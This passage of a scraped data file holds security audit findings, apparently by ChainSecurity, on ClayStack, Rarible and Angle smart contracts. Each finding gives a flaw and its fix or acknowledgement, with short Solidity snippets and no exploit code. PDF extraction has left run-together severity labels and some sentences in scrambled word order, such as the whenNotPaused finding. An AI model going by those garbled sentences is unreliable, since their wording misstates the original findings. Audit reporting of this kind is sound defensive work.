storage variable was made immutable and the onlyOnce modifier removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.8 Logic Contract", "body": " The ClayMatic and RoleManager contracts have problems with their UUPS logic contracts: 1. The initialize function is unprotected on the logic contracts. 2. The upgradeTo function overrides the UUPSUpgradeable function, but does not use the onlyProxy modifier. Since there are no unprotected delegateCalls available, the effect of these problems is limited. But one can set the storage variables of logic contracts to any values. Consider using onlyProxy for functions that shouldn't be called on logic contracts directly. The onlyProxy modifier was added to the initialize and upgradeTo functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.9 Missing Check", "body": " The comment on the function setMaxWithdrawNodePercentage states: /** * ... * Requirements: * - `value` can not be zero. * ... */ function setMaxWithdrawNodePercentage(uint256 value) external onlyRole(CS_SERVICE_ROLE) { require(value <= PERCENTAGE_BASE, \"CMO06\"); maxWithdrawNodePercentage = value; } However, there is no check to make sure value is not equal to zero. A check was added to make sure value is not equal to zero. ClayStack - ClayStack Matic - 14 SecurityLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.10 Missing whenNotPaused in Migrate Delegation for All balance affecting migrateDelegation, this seems like an oversight if pause is meant to be used in emergency or upgrade situations where critical contract state should not change in between upgrades. the whenNotPaused modifier applied except functions have The whenNotPaused modifier was added to the migrateDelegation function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.11 No Limit On Withdrawal and Deposit Fee", "body": " Amounts There is currently no limit on any fee amounts besides being below 100%, but this should not be the case from both a trust and correctness perspective. The holder of TIMELOCK_ROLE could set instant or regular withdrawal fees to 100% to prevent anyone from withdrawing, or increase deposit fee to 100% to basically prevent anyone from staking any more funds without losing them all, effectively disabling those functions in a round-about way. Consider setting hard limits in the contract beyond which fees cannot be raised without a total contract upgrade. Maximum values were added to all fee types. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.12 Possible Underflow", "body": " In the function _balanced the following check is done: uint256 stakingFlow = (underlyingToken.balanceOf(address(this)) + funds.stakedDeposit) / 1e10; require(stakingFlow - 1e6 <= userFlow && userFlow <= stakingFlow + 1e6, \"CMB01\"); However, if underlyingToken.balanceOf(address(this)) + funds.stakedDeposit is less than 1e16, this will result in an underflow and revert, despite not necessarily being an invalid state. The code was refactored so the underflow is no longer possible. ClayStack - ClayStack Matic - 15 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.13 Reuse balanceOf Result When Possible There are various functions which call underlyingToken.balanceOf(address(this)) multiple times. While in some cases, the balance does change and the additional cross-contract call is necessary, in others it is not. Therefore, the redundant calls could be omitted to save gas. 1. In autoBalance and _balanced, the balance of the contract is queried twice without any balance change in between. 2. In _sequentiallyStake, the balance of the contract is queried once per loop iteration. While the balance can change between iterations, it may instead be possible to check that the balance is greater than the total amount to stake, rather than checking individually for each staking operation. 1. The mentioned functions were updated to query the balance only once. 2. The total amount to stake is now compared to the balance at the start of the function, instead of once per loop iteration. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.14 Staking Issues", "body": " When autobalance is run, if the additional amount to stake is consistently smaller than the overStakingThreshold, the same validator will be chosen every time. This is because the activeStakingNode does not change if only the first node is used. Thus, the amounts staked per validator will not converge if the amounts to stake per balancing operation are consistently below overStakingThreshold. The activeStakingNode is now advanced by one position at the end of the function to avoid the mentioned issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.15 Storage Operations in Loops", "body": " Many different functions contain loops which access storage variables. Rather than reading a storage variable once per loop iteration, it is more gas-efficient to read it once before the loop and cache the value in a local variable. There are also loops which write to storage variables. Again, rather than writing to storage directly in the loop, it's more gas-efficient to write to a local variable and move the final value to storage after the loop. These optimizations can be applied in the following functions: 1. In the function claim, the value withdrawOrders[msg.sender] can be stored in a variable outside the loop and reused. 2. In getMaxWithdrawAmountCs, the storage values maxNodesToWithdraw and maxWithdrawNodePercentage can be cached. ClayStack - ClayStack Matic - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f3. In _sequentiallyStake, the number of storage writes to activeStakingNode and funds.stakedDeposit can be reduced significantly. Additionally, the values totalPoints, overStakingThreshold, stakeManager and underlyingToken could be cached. Note that it may not be possible to apply all these optimizations without causing a \"Stack too deep\" compilation error. 4. In _sequentiallyUnstake, the number of writes to activeUnstakingNode can be reduced. The values of maxNodesToWithdraw and maxWithdrawNodePercentage can be cached to reduce storage reading operations. 5. In _getMaxWithdrawAmount, the maxNodesToWithdraw can be cached. values of maxWithdrawNodePercentage and 6. In addNodes, the number of writes to totalPoints can be reduced by calculating the value in a local variable and writing to storage after the loop. Similarly, a local variable could be introduced to hold the value of countStakingNodes and the final value written back only at the end. Lastly, stakeManager could be cached so it only has to be read once before the loop. 7. In autoBalance, _updatedStaked, _isNodeActive and _updateNodePoints, the value of activeNodes.length can be stored locally to reduce storage reads. The suggested changes were made. In the case of _sequentiallyUnstake, maxNodesToWithdraw was not cached due to the \"Stack too deep\" compilation error. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.16 Validator Contract Check Not Strict Enough", "body": " Inside of ClayMatic.addNodes, the validity of a validator is checked in the following way: require(stakeManager.isValidator(val.validatorId()) && !val.locked(), \"CMO10\"); Both values validated against are sourced from the supplied contract which could just be a malicious contract lying about being a validator. A check with stronger correctness would be to require that the following is true: stakeManager.getValidatorContract(validatorId) == val This would prevent adding an invalid validator contract by mistake. The suggested check was implemented. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.17 Wrong Variable Logged", "body": " In the autoBalance function, any accrued fees are transferred to the vault. Additionally, an event is emitted to log the transferred fees. However, the wrong variable is used for the event so the emitted value will always be zero. ClayStack - ClayStack Matic - 17 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fif (funds.accruedFees != 0) { uint256 accruedFees = funds.accruedFees; funds.accruedFees = 0; underlyingToken.safeTransfer(vaultManager, accruedFees); emit LogTransferVault(vaultManager, funds.accruedFees); } The correct variable is now used to log the event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.18 Consider Using Modifiers for _Balanced and", "body": " _updateBalance Functionality The calls to _balanced and _updateBalance could be more cleanly implemented via a modifier like the following: modifier enforceAndUpdateBalance { _updateBalance(); _; _balanced(); } It would prevent needing to manually ensure both are called, in the right order and priority, in any future update to the code and simply enforce the presence of this modifier on the relevant functions. The suggested modifier was introduced and applied to all relevant functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "6.19 Unnecessary Require", "body": " In the claim function, the following require statement is unnecessary: require(amountAvailable >= userAmount + payableFee, \"CMC02\"); The value of userAmount is essentially calculated as receivedAmount - payableFee. The current balance (amountAvailable) cannot be smaller than the amount received, therefore this check will never fail. The unnecessary require statement was removed. ClayStack - ClayStack Matic - 18 NoteVersion1CodeCorrectedNoteVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "7.1 Child Contract Is Not Upgradable", "body": " The child ClayTunnel contract is not upgradable. Therefore, if additional functionality were to be implemented in the ClayMain contract, which needed to be reflected on the Polygon network, a new child contract would have to be deployed. Hence, any users or protocols relying on the child contract should be aware that the address could change in the future. ClayStack - ClayStack Matic - 19 NoteVersion3 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/claystack-matic-march-2022/"}, {"title": "5.1 Tokens EIP-721 Typehash", "body": " The EIP-712 defines set of rules, how the solidity structs should be hashed. Current LibERC721LazyMint and LibERC1155LazyMint contracts have few violations of this standart: Mint1155Data struct has uri field, but tokenURI is used in MINT_AND_TRANSFER_TYPEHASH In Mint1155Data MINT_AND_TRANSFER_TYPEHASH, the supply field follows the tokenId field. supply follows struct, field the the uri field. In Mint721Data struct has uri field, but tokenURI is used in MINT_AND_TRANSFER_TYPEHASH According to EIP-712, such mismatches are not compatible with the standard. Code partially corrected: Field uri was renamed to tokenURI in both contracts. Currently, these contracts are already deployed and changing the supply and tokenId order cannot be fixed. Rarible Inc. - Staking and Tokens - 8 DesignCorrectnessCriticalHighMediumLowCodePartiallyCorrectedCorrectnessLowVersion1CodePartiallyCorrected \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 0 2 13 -Severity Findings -Severity Findings -Severity Findings ERC721 Use of Unsafe Methods Staking Formula Differs From Specificaiton -Severity Findings Mismatch in Mint Data Specification Code Is Not Compilable Initialization of Staking Contracts Not According to OZ Guidelines Initializer Not Using Unchained Initializer of Ancestors Missing updateAccount Function in ERC1155Lazy Solidity Compiler Versions Staking Coefficient Can Make Stake Line Longer Staking Contracts Are Missing __gap Field Staking Events Data Staking Exposing Getters Staking Is Possible When Migrating Staking Restake Can Cut the Corner Staking Slope Period Definition ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.1 ERC721 Use of Unsafe Methods", "body": " The ERC721 standard focuses on ensuring that token transfers do not lock / loose tokens. That is why the use of \"safe\" functions such as safeTransferFrom was introduced. This applies not only to transfers, but to minting as well. However, the implementation of mintAndTransfer in the contract ERC721Lazy does not use the \"safe\" _safeMint but the _mint function, whose use is discouraged. Function mintAndTransfer now uses _safeMint function. Rarible Inc. - Staking and Tokens - 9 CriticalHighMediumCodeCorrectedSpeci\ufb01cationChangedLowSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrected \f6.2 Staking Formula Differs From Specificaiton The specs define the formula as: stake = k * tokens. K = (0.07 + 0.93 * (cliffPeriod / 104) ^ 2 + 0.5 * (0.07 + 0.93 * (slopePeriod / 104) ^ 2)). This formula differs from solidity implementation, mostly due to use of following constants: uint256 constant ST_FORMULA_MULTIPLIER = 1081000; //stFormula multiplier = TWO_YEAR_WEEKS^2 * 100 uint256 constant ST_FORMULA_COMPENSATE = 1135050; //stFormula compensate = (0.7+0.35) * ST_FORMULA_MULTIPLIER uint256 constant ST_FORMULA_SLOPE_MULTIPLIER = 465; //stFormula slope multiplier = 0.93 * 0.5 * 100 uint256 constant ST_FORMULA_CLIFF_MULTIPLIER = 930; //stFormula cliff multiplier = 0.93 * 100 ST_FORMULA_MULTIPLIER should be 1086000 to comply with specs. ST_FORMULA_COMPENSATE should be 1135680 to comply with specs. ST_FORMULA_SLOPE_MULTIPLIER should be 46.5 to comply with specs. ST_FORMULA_CLIFF_MULTIPLIER should be 93 to comply with specs. Specification corrected: Specificaion of formula was changed in commit 6167554ff40b7b7f9f6d1ce808fd7d62d04ab3f6 to: stake = K * tokens / 1000; K = ( 11356800 + 9300 * (cliffPeriod)^2 + 4650 * (slopePeriod)^2) / 10816; Code was adjusted in commit 888761566077d51937cf7676417ebe0839f2bdfe implemented according to this specificaion. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.3 Mismatch in Mint Data Specification", "body": " Mint721Data The and LibERC1155LazyMint.sol were updated. Yet, the documentation in tokens/readme.md was not updated. The documentation specifies that the mint data structs have element uri, while in code uri was changed to tokenURI. LibERC721LazyMint.sol Mint1155Data structs and in Moreover, both structs have an element royalties, tokens/readme.md. That is a mismatch in the specification. that are named as fees in the Specification corrected: The names were fixed in version 3. Names in specs match the ones in code now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.4 Code Is Not Compilable", "body": " Rarible Inc. - Staking and Tokens - 10 DesignMediumVersion1Speci\ufb01cationChangedCorrectnessLowVersion2Speci\ufb01cationChangedDesignLowVersion1Speci\ufb01cationChanged \fStaking contract and token contracts are not compilable due to imports of @rarible libraries. Node pulls outdated libraries that are not compatible with the new code. If imports by path are used, the code would have been compilable. Not using direct imports by path can lead to compilations with outdated libraries. Taking into account the monorepo structure of rarible github, it is safer to use direct path imports. Specification corrected: The compilation instructions were added to the readme. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.5 Initialization of Staking Contracts Not", "body": " According to OZ Guidelines The initialization style of the contract is not according to guidelines from OpenZeppelin libary. In contract StakingBase a __StakingBase_init function is defined as public function. Usually such functions are defined as private and only most derived contract defines public function initialize where the private chained/unchained init function are called. Moreover, the initializer should call all unchained initializers of all ancestors of the contract. Currently the __StakingBase_init calls __Ownable_init_unchained but not __Context_init_unchained. The latter has no effect in current version of the OZ library, but that can change in future. __StakingBase_init was renamed to __StakingBase_init_unchained. It does not call any initializer of ancestors anymore and was made internal. The initialization was moved to the Staking contract where __Staking_init calls all unchained initializers of parent contracts. The guidelines are now followed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.6 Initializer Not Using Unchained Initializer of", "body": " Ancestors The contract Mint721Validator implements __Mint721Validator_init_unchained function, that calls __EIP712_init from OpenZeppelin's EIP712Upgradeable contract. The OpenZeppelin docs suggests using unchained initializers of parent contracts to prevent initializing a contract twice. __Mint721Validator_init_unchained calls __EIP712_init_unchained now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.7 Missing updateAccount Function in", "body": " ERC1155Lazy Rarible Inc. - Staking and Tokens - 11 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe contracts should support Rarible on-chain royalties. As in ERC721Lazy there should be a method calling _updateAccount from AbstractRoyalties. That enables a registered royalty account to change the address for the royalties for some token ID. Such function is missing in the ERC1155Lazy. The updateAccount function was added. It allows to perform the previously described actions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.8 Solidity Compiler Versions", "body": " The defined solidity versions are too different across staking contracts: pragma solidity >=0.6.2 <0.8.0; pragma solidity ^0.7.0; Too wide version range >=0.6.2 <0.8.0 can cause compilation with not the latest compiler version, where bugs can present. The Solidity compiler version was set to 0.7.6 for all contracts in scope. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.9 Staking Coefficient Can Make Stake Line", "body": " Longer When the staking bias and slope are computed, the computation is done with a certain precision. If bias has a significant difference compared to slope, the resulting params of stake line can make it longer compared to locked line. For example, bias of 5200, with slope of 100 and cliff of 52 weeks, the stake line will have bias of 23592 and slope of 453. Right after 104 weeks, the lock line will be depleted, and all funds will be withdrawable. The stake line after the same period will have remaining 36 (23592 mod 453) stake that will unlock only on 53rd week. This behavior is not documented in specs and violates the statement that stake behaves like locked tokens and is just multiplied by value. Calculations were changed for the staking bias and slope values. The slopePeriod is now defined as ceil(amount / slopePeriod). The staking coefficient affects only staking bias. The staking slope value is computed as ceil(staking amount / slopePeriod). As a result of this changes, the \"remained\" will be counted as a last period of slopePeriod. The stake line and balance line will deplete at the same time. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.10 Staking Contracts Are Missing __gap Field", "body": " Rarible Inc. - Staking and Tokens - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fAll staking contracts, Staking, StakingRestake and StakingBase, do not have the recommended __gap field for upgradeable contracts. Without this field adding new state variables in the future can be problematic. __gap was added to the above mentioned contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.11 Staking Events Data", "body": " Some events emitted in staking contract do not provide enough information to easily reconstruct the state of contract. In function restake the emitted event Restake does not emit new value of counter field. Also the account that performs restake is not emitted. The StakeCreate emits both those fields. Event Delegate does not emit account that performs redelegation. No events emitted on stop function call. That is important function that greatly impacts the contract functionality. No events emitted on startMigration function call. That is important function that greatly impacts the contract functionality. The events are now emitted for all actions, described above. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.12 Staking Exposing Getters", "body": " In current implementation of the staking contract some fields and data is hard to query due to missing getters. The list of information that can improve user experience and minimize human errors: Output of getStake function. Currently it is internal pure function. Remaining locked amount Amount available for withdrawal For a given Line id, the owner and delegate addresses. Field stopped of the staking contract Getting \"current week\" of the contract. E.g. roundTimestamp function output. Following changes were done, to fix the issues from the above list: Function getStake is declared as public. Function locked was added. Function getAvailableForWithdraw was added. Rarible Inc. - Staking and Tokens - 13 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f Function getAccountAndDelegate was added. Field stopped was made public. Function getWeek was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.13 Staking Is Possible When Migrating", "body": " The migration is irreversible process that is needed to move stakes to a new contract. But such actions like stake, delegateTo and restake are still allowed during this process. Users can by mistake performed such actions and will need to submit extra transaction to migrate their actions to a new contract. Function mentioned above now use notMigrating operator that restricts their usage when the contract is migrating. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.14 Staking Restake Can Cut the Corner", "body": " The restake function checks that the new amount of locked tokens is not lower than the old amount. Also there is a check that the end time of the new line should not be earlier that the old end time. These constraints allow the user to restake with a long slopePeriod, but without a cliffPeriod, which leads to stake being unlocked earlier than in the original line. Geometrically, this amounts to \"cutting the corner\" of the brokenline. The restake function now performs checks, that the new line is greater (not strictly) then the old line. Geometrically, this can be interpreted as new line to be always \"above or equal\" the old stake line. This is done by a call to verification internal function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.15 Staking Slope Period Definition", "body": " The current slope period is computed as amount // slope, that is using an integer division that rounds down. The effect of this is that, in the week after the slope period ends, the amount % slope tokens will still be staked. This remainder does not contribute to the staking coefficient K. The remainder cannot be withdrawn, but can be delegated to and restaked. Also this extra period does not counted towards the 2 year limit for the staking period. The current version of the specification does not describe this behavior. Rarible Inc. - Staking and Tokens - 14 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fThe new slope period is computed as ceil(amount // slope). Now the \"remainder\" week is accounted for staking coefficient and 2 year limit. Rarible Inc. - Staking and Tokens - 15 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "7.1 Missing Documentation for Public Functions", "body": " Some functions and state variables in StakingBase.sol are now public. However, functions and getters are not documented. Following functions and variables are lacking documentation in the readme: getStake counter stopped migrateTo totalSupplyLine Rarible Inc. - Staking and Tokens - 16 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/staking-erc721-erc1155/"}, {"title": "6.1 Incorrect Accounting in report()", "body": " PoolManager.report() is called by a strategy to report the performance when harvesting. First, some parameters are updated and funds are transferred. Then, surplus for the administration is set aside and the gain or loss for SLPs is signaled to StableMaster. However, the propagation of loss for SLPs could lead to accounting issues. Assume the following scenario: Neither interest for admins nor admin debt has been accumulated so far. The interests are shared 50/50 for surplus and the stablemaster (the SLPs) 1. Assume 10 SanDAI have been minted and the current rate is 3, meaning that each SanDAI is worth 3 DAI. The pool has 30 of the underlying available which can be used by the strategy. 2. The strategy now signals a loss of 20. 3. loss is 20 and is split equally: lossForSurplus is 10. 4. lossForSurplus > interestsAccumulatedPreLoss holds. 5. The admins cannot currently cover any loss. Hence, their debt is increased by setting adminDebt to 10. 6. A loss of 10 is signaled to StableMaster. The rate drops from 3 to 2. 7. However, the StableMaster accounts for a loss of 10 DAI while SLPs actually compensated with 20 DAI since they are temporarily covering some loss for the admins. Hence, the accounting of the StableMaster mismatches the SLPs balance in the PoolManager which holds only 10 DAI. 8. Only 5 SanDAI can be redeemed (at the current rate of 2), the remaining 5 SanTokens cannot as they are not backed by funds since PoolMaster holds only 10 underlying tokens (but the rate is 2). Angle - Staking and Surplus - 11 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedDesignLowVersion2Acknowledged \fOnly after the adminDebt has been paid back, sufficient funds will be available in the StableMaster. In the meantime, further issues could arise. Acknowledged: Angle has acknowledged this issue since such scenarios are unlikely to occur. However, Angle will monitor the system. If such a scenario is detected, Angle will handle the situation appropriately. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "6.2 Checks on interestsForSurplus", "body": " The new interestsForSurplus parameter in the pool manager contract allows to split the strategies' profits between SLPs and the fee distributor. However, that parameter can range from zero to 100%. A high choice may contradict with the specification that SLPs will earn more interest by depositing to protocols through Angle compared to direct deposits. Upper-bounding the aforementioned range further could increase trust and ensure splits are fair. Acknowledged: Angle replied: We don't want to add an upper bound, and as in other part of the protocol we suppose the guardians have aligned incentives with the protocol. Governance could for instance decide to set 100% of the fees for veANGLE holders and at the same time redistribute all the transaction fees to SLPs to counterbalance for that. We added comment to the function setInterestForSurplus. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "6.3 Governance Differences", "body": " The Angle distributor and the liquidity gauge both support only one governor. That diverges from the other contracts' capability of having multiple governors. That change of the governance system in the new module is undocumented. Acknowledged: Angle replied: These differences are due to the change of paradigm of governance where we will use snapshot voting implemented by a multisig instead of true on-chain governance. Note that technically, the `AngleDistributor` could support multiple governors. Another reason is that most Curve contracts we have forked support only one governor. The `LiquidityGauge` forked from Curve had only one governor, we therefore decided to keep it. The same will go for the other contracts of the protocol. Most contracts of the protocol were coded to support multiple governors. One will however be used in practice however. Angle - Staking and Surplus - 12 DesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fNote that also only one governor is supported in the surplus contracts (following the same reasoning). Angle - Staking and Surplus - 13 \f7 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 1 4 9 -Severity Findings -Severity Findings Ineffective Protection Against Sandwich Attacks, Missing Slippage Protection -Severity Findings Potentially Stuck Funds After Collateral Removal Race Condition on Loss Reverting on setGaugeKilled() recoverERC20 Does Not Account for the New interestsAccumulated -Severity Findings (Missing) Checks on Path Commented Code Confusing Naming Documentation Mismatches Gas Optimizations Guardian Powers Outdated Compiler Version burn in Surplus Converters Not Paused is_killed Remains Unused ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.1 Ineffective Protection Against Sandwich", "body": " Attacks, Missing Slippage Protection The buyback functions of the SurplusConverter contracts is permissioned in an attempt to prevent sandwich attacks. This protection however is ineffective due to a phenomena know as Miner Extracted values. Please see this blogpost for more information. In short, while the permissioned function may prevent a sandwich attack e.g. from within a smart contract, for miner it's still possible to put a transaction just before and after this transactions in order to sandwich it. Such attacks can actually be observed on chain, this is more than just a theoretical threat. The calls to the exchanges within the implementations of the buyback() functions have their slippage protection disabled by setting the minimum incoming amount to 0. This is very dangerous. Angle - Staking and Surplus - 14 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityHighVersion1CodeCorrected \fWhenever there is potential slippage, the buyback function now features an additional parameter specifying the minimum amount to be received. In the current SurplusConverter contracts interacting with an exchange, this value is passed as minimum incoming amount parameter to the router contracts of the exchanges. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.2 Potentially Stuck Funds After Collateral", "body": " Removal Tokens of the underlying may be stuck in the SurplusConverterSanTokens contract should a collateral be removed from the StableMaster contract. buyback() will no longer work after the collateral has been deactivated in the StableMaster and it's no longer possible to exit the underlying held by the SurplusConverterSanToken contract. Should a collateral be removed, it's important to shut down the corresponding SurplusConverterSanTokens contract first. A function recoverERC20, callable only by a governor, has been implemented in the parent contract BaseSurplusConverter to enable withdrawing funds from all the converters. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.3 Race Condition on Loss", "body": " When a strategy made a loss, a race condition between veAngle holder / long term admins and Standard Liquidity Providers (SLPs) will arise: Angle Stakers will attempt to call pullSurplus() to evacuate the surplus and protect their profits while SLPs will try to call harvest() on the strategy, which reports the loss to the PoolManager and at least partially tries to cover the loss using interestsAccumulated of the Angle Stakers. However, the receivers of the funds can trick the SLPs by pulling surplus after each gain immediately. A new variable tracking the debt to be covered by the admins has been introduced. When the loss is too high such that the currently available interestsAccumulated are not enough to cover for the losses, this debt is accrued. If there is a gain, the gain is first going to reimburse the debt and only afterwards accrue new interestsAccumulated. Note that upon the first loss to be reported the race condition still exists. Admins may withdraw the interestsAccumulated first but then have to cover the debt accrued by the reported loss with the next profit/profits reported. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.4 Reverting on setGaugeKilled()", "body": " The AngleDistributor has the ability to remove the approval for a gauge through setGaugeKilled. That function contains following line: Angle - Staking and Surplus - 15 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \frequire(IGaugeController(controller).gauge_types(gaugeAddr) == -1 && lastTimeGaugePaid[gaugeAddr] != 0, \"112\"); Note that the controller's gauge_types function is defined as follows: gauge_type: int128 = self.gauge_types_[_addr] assert gauge_type != 0 return gauge_type - 1 It reverts if the gauge type is 0 (return value -1). However, the first code snippet shows that the call reverts if the return type is not -1. Hence, setGaugeKilled() will revert always revert. The precondition has been simplified to require(lastTimeGaugePaid[gaugeAddr] != 0, \"112\"); Moreover, it can now only be called by guardians. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.5 recoverERC20 Does Not Account for the New", "body": " interestsAccumulated Function recoverERC20 of the PoolManager allows the Governor to recover ERC20 tokens held by this contract. Any amount of arbitrary ERR20 tokens held by the contract can be exited, however for the token of the pool there are some restrictions in order to prevent the Governor to pull funds belonging to the protocol. Due to onchain constraints there are some limitations however and this can only be seen as sanity check. The HA claims are not included as it's not feasible to calculate this amount. The new functionality introduces interestsAccumulated which contains the amount of tokens reserved as surplus and which can be exited using the pullSurplus() function, however the check in recoverERC20() has not been updated to account for them. interestsAccumulated is now considered in the computations of recoverERC20(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.6 (Missing) Checks on Path", "body": " Function addToken of the SurplusConverterUniV2Sushi contract which can only be called by the trusted Guardian role checks the given path: require(pathLength >= 2 && path[pathLength - 1] == address(rewardToken) && path[0] == token, \"111\"); The corresponding function of the SurplusConverterUniV3 contract doesn't do any check on the path. Angle - Staking and Surplus - 16 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f SurplusConverterUniV3 now also implements sanity checks for the path. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.7 Commented Code", "body": " In the surplus converter for UniswapV2 / Sushiswap, the buyback function has the following commented code: // uint256 amount = IERC20(token).balanceOf(address(this)); For clarity this code could be removed. However, the balance could be used to create a sanity check for a successful swap. Both, the UniswapV2/Sushiswap and the UniswapV3 SurplusConverter contracts do not revert early if the contract's balance is smaller than the specified buyback amount. The commented code has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/angle-protocol-staking-and-surplus/"}, {"title": "7.8 Confusing Naming", "body": " The contracts called surplusConverters are to be used as what is called surplusDistributor inside the PoolManager contract. Especially as there exists another contract called FeeDistributior, the naming may be confusing. PoolManager.pullSurplus() actually pushes the surplus to the surplusDistributor. While the structure of the contracts SurplusConverterUniV2Sushi and SurplusConvertUniV3 is identical, one has they are called updateToken/revokeToken. functions called addToken/revokeToken while the other in the SurplusConverterUniV2Sushi contract functions addToken and Inside revokeToken take the parameter _typePath and type respectively. Although these parameters have different names, the meaning of their values is not aligned: the complementary _typePath: 0: SushiswapPath 1: uniswapPath _typePath: 0: SushiswapPath and uniswapPath 1: SushiswapPath >-2: UniswapPath Clear and structured naming greatly improves readability of the code and helps to avoid confusion or potentially resulting coding errors. Angle - Staking and Surplus - 17 